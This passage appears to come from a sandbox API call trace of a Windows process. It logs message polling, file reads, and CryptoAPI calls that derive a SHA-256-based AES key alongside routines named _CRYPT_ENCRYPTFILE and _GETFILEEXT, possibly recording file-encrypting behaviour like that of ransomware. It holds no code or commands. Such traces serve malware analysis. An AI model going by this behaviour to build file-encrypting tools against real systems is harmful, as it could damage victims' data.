wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.304] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.304] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.305] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.305] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.305] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.305] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.305] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.305] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.305] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.305] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.305] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.305] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.310] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.310] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.310] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.310] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.310] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.310] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.310] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.310] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.310] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.310] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1784) returned 1 [0023.310] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.310] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.310] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.310] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x6f8, lpOverlapped=0x0) returned 1 [0023.311] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.311] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x6f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.311] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1784) returned 1 [0023.312] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.312] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.312] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.312] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.312] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.312] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.312] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.312] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.313] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.313] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.313] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.313] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.313] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.313] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.313] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.313] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.313] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.313] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.314] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.314] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.314] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.314] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.314] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.314] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.314] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.315] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.315] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.315] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0023.315] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.316] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.316] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.316] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.316] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.316] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.316] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.316] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.316] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.316] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.316] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.316] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.317] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.317] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.317] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.317] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.317] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.317] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.317] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.317] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.317] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.317] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.318] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.318] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.318] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.318] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.318] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.318] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.318] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.318] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.318] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.318] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.318] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.318] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.319] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0023.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417aea0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0023.319] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0023.319] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.320] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.320] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.320] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.320] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.320] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.320] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.320] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.320] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.320] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.320] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.321] CryptHashData (hHash=0xe8f4062800, pbData=0xe8f418b540, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.321] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.321] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.321] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.321] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062800, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.321] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.321] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, 